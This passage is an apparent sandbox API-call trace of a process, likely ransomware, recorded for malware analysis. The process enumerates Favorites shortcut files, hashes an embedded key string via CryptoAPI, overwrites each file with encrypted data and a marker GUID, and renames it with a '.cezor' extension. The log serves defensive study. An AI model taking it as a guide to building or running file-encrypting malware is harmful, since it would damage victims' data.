ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0061.006] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0061.006] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Get Windows Live.url", cAlternateFileName="GETWIN~1.URL")) returned 1 [0061.006] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306da50 [0061.006] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa6) returned 0x2fedd78 [0061.006] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Get Windows Live.url") returned=".url" [0061.006] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Get Windows Live.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\get windows live.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0061.007] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=133) returned 1 [0061.007] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0061.009] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.009] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0061.010] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4940 [0061.010] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x85, lpOverlapped=0x0) returned 1 [0061.010] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.010] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25) returned 0x310b770 [0061.010] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.010] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.010] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74ebc8) returned 1 [0061.011] CryptCreateHash (in: hProv=0x74ebc8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0061.011] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0061.011] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0061.011] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x11) returned 0x3033b68 [0061.011] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0061.011] GetLastError () returned 0x0 [0061.011] CryptDestroyHash (hHash=0x3038608) returned 1 [0061.011] CryptReleaseContext (hProv=0x74ebc8, dwFlags=0x0) returned 1 [0061.011] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x85, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.011] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f63c0 [0061.011] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x428) returned 0x312a430 [0061.011] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", cchWideChar=-1, lpMultiByteStr=0x312a430, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", lpUsedDefaultChar=0x0) returned 41 [0061.011] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x430) returned 0x312a878 [0061.011] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0061.011] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0061.012] CloseHandle (hObject=0x5c4) returned 1 [0061.012] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30ee788 [0061.012] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x8a0) returned 0x3100c28 [0061.012] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30ee788 | out: hHeap=0x670000) returned 1 [0061.012] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Get Windows Live.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\get windows live.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Get Windows Live.url.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\get windows live.url.cezor")) returned 1 [0061.013] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3100c28 | out: hHeap=0x670000) returned 1 [0061.013] VirtualFree (lpAddress=0x2a40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0061.014] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2fedd78 | out: hHeap=0x670000) returned 1 [0061.014] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Live Gallery.url", cAlternateFileName="WINDOW~2.URL")) returned 1 [0061.014] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306da50 [0061.014] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa6) returned 0x2fedd78 [0061.014] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306da50 | out: hHeap=0x670000) returned 1 [0061.014] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Gallery.url") returned=".url" [0061.014] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Gallery.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live gallery.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0061.015] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=133) returned 1 [0061.015] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0061.031] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.031] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0061.032] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4940 [0061.032] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0061.032] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0061.032] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x85, lpOverlapped=0x0) returned 1 [0061.032] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.032] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25) returned 0x310b770 [0061.032] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.032] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.032] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74ebc8) returned 1 [0061.033] CryptCreateHash (in: hProv=0x74ebc8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0061.033] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0061.033] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0061.033] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x11) returned 0x3033b68 [0061.033] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0061.033] GetLastError () returned 0x0 [0061.033] CryptDestroyHash (hHash=0x3038608) returned 1 [0061.033] CryptReleaseContext (hProv=0x74ebc8, dwFlags=0x0) returned 1 [0061.033] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x310b770 | out: hHeap=0x670000) returned 1 [0061.033] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301db48 [0061.033] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0061.033] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0061.033] WriteFile (in: hFile=0x5c4, lpBuffer=0x301db48*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x9aafb24, lpOverlapped=0x0 | out: lpBuffer=0x301db48*, lpNumberOfBytesWritten=0x9aafb24*=0x80, lpOverlapped=0x0) returned 1 [0061.034] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301db48 | out: hHeap=0x670000) returned 1 [0061.034] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x85, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.034] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f63c0 [0061.034] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x428) returned 0x312a878 [0061.034] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", cchWideChar=-1, lpMultiByteStr=0x312a878, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", lpUsedDefaultChar=0x0) returned 41 [0061.034] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x430) returned 0x312a430 [0061.034] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a878 | out: hHeap=0x670000) returned 1 [0061.034] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f63c0 | out: hHeap=0x670000) returned 1 [0061.034] WriteFile (in: hFile=0x5c4, lpBuffer=0x312a430*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x312a430*, lpNumberOfBytesWritten=0x9aafb2c*=0x28, lpOverlapped=0x0) returned 1 [0061.034] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a430 | out: hHeap=0x670000) returned 1 [0061.034] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0061.034] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0061.034] CloseHandle (hObject=0x5c4) returned 1 [0061.035] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30ee788 [0061.035] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x8b0) returned 0x3100c28 [0061.035] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30ee788 | out: hHeap=0x670000) returned 1 [0061.035] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Gallery.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live gallery.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Gallery.url.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live gallery.url.cezor")) returned 1 [0061.036] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3100c28 | out: hHeap=0x670000) returned 1 [0061.036] VirtualFree (lpAddress=0x2a40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0061.037] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2fedd78 | out: hHeap=0x670000) returned 1 [0061.037] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Live Mail.url", cAlternateFileName="WINDOW~1.URL")) returned 1 [0061.037] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306da50 [0061.037] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa6) returned 0x2fedd78 [0061.037] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306da50 | out: hHeap=0x670000) returned 1 [0061.037] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Mail.url") returned=".url" [0061.037] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Mail.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live mail.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0061.037] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=133) returned 1 [0061.037] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0061.040] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.040] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0061.041] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4940 [0061.041] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0061.041] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0061.041] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x85, lpOverlapped=0x0) returned 1 [0061.041] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.041] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25) returned 0x310b770 [0061.041] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.041] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.041] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74ebc8) returned 1 [0061.042] CryptCreateHash (in: hProv=0x74ebc8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0061.042] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0061.042] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0061.042] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x11) returned 0x3033b68 [0061.042] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0061.042] GetLastError () returned 0x0 [0061.042] CryptDestroyHash (hHash=0x3038608) returned 1 [0061.042] CryptReleaseContext (hProv=0x74ebc8, dwFlags=0x0) returned 1 [0061.042] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x310b770 | out: hHeap=0x670000) returned 1 [0061.042] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301db48 [0061.042] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0061.042] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0061.042] WriteFile (in: hFile=0x5c4, lpBuffer=0x301db48*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x9aafb24, lpOverlapped=0x0 | out: lpBuffer=0x301db48*, lpNumberOfBytesWritten=0x9aafb24*=0x80, lpOverlapped=0x0) returned 1 [0061.043] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301db48 | out: hHeap=0x670000) returned 1 [0061.043] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x85, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.043] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f63c0 [0061.043] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x428) returned 0x312a430 [0061.043] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", cchWideChar=-1, lpMultiByteStr=0x312a430, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", lpUsedDefaultChar=0x0) returned 41 [0061.043] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x430) returned 0x312a878 [0061.043] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a430 | out: hHeap=0x670000) returned 1 [0061.043] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f63c0 | out: hHeap=0x670000) returned 1 [0061.043] WriteFile (in: hFile=0x5c4, lpBuffer=0x312a878*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x312a878*, lpNumberOfBytesWritten=0x9aafb2c*=0x28, lpOverlapped=0x0) returned 1 [0061.043] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a878 | out: hHeap=0x670000) returned 1 [0061.043] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0061.043] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0061.043] CloseHandle (hObject=0x5c4) returned 1 [0061.044] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30ee788 [0061.044] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x8b0) returned 0x3100c28 [0061.044] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30ee788 | out: hHeap=0x670000) returned 1 [0061.044] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Mail.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live mail.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Mail.url.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live mail.url.cezor")) returned 1 [0061.044] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3100c28 | out: hHeap=0x670000) returned 1 [0061.044] VirtualFree (lpAddress=0x2a40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0061.045] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2fedd78 | out: hHeap=0x670000) returned 1 [0061.045] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Live Spaces.url", cAlternateFileName="WINDOW~3.URL")) returned 1 [0061.045] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306da50 [0061.045] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa6) returned 0x2fedd78 [0061.045] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306da50 | out: hHeap=0x670000) returned 1 [0061.045] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Spaces.url") returned=".url" [0061.045] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Spaces.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live spaces.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0061.046] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=133) returned 1 [0061.046] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0061.049] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.049] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0061.050] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4940 [0061.050] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0061.050] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0061.050] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x85, lpOverlapped=0x0) returned 1 [0061.050] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.050] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25) returned 0x310b770 [0061.050] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.050] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.050] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74ebc8) returned 1 [0061.051] CryptCreateHash (in: hProv=0x74ebc8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0061.051] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0061.051] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: 